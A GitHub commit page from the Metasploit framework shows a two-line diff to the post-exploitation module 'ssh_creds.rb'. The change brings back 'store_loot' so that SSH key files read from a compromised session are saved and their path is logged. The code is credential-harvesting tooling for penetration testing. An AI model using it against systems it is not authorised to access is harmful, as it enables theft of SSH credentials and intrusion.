Skip to content

Commit 43e9244

Browse files
committed
Fix rapid7#5134, Put store_loot back
Fix rapid7#5134 store_loot was used at one point, but we ended up removing it. Turns out store_loot is handy in some cases so we're brining it back.
1 parent 2a327b7 commit 43e9244

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/post/multi/gather/ssh_creds.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,8 @@ def download_loot(paths)
6161
data = read_file("#{path}#{sep}#{file}")
6262
file = file.split(sep).last
6363

64-
print_good("Downloaded #{path}#{sep}#{file}")
64+
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
65+
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
6566

6667
begin
6768
key = SSHKey.new(data, :passphrase => "")

0 commit comments

Comments
 (0)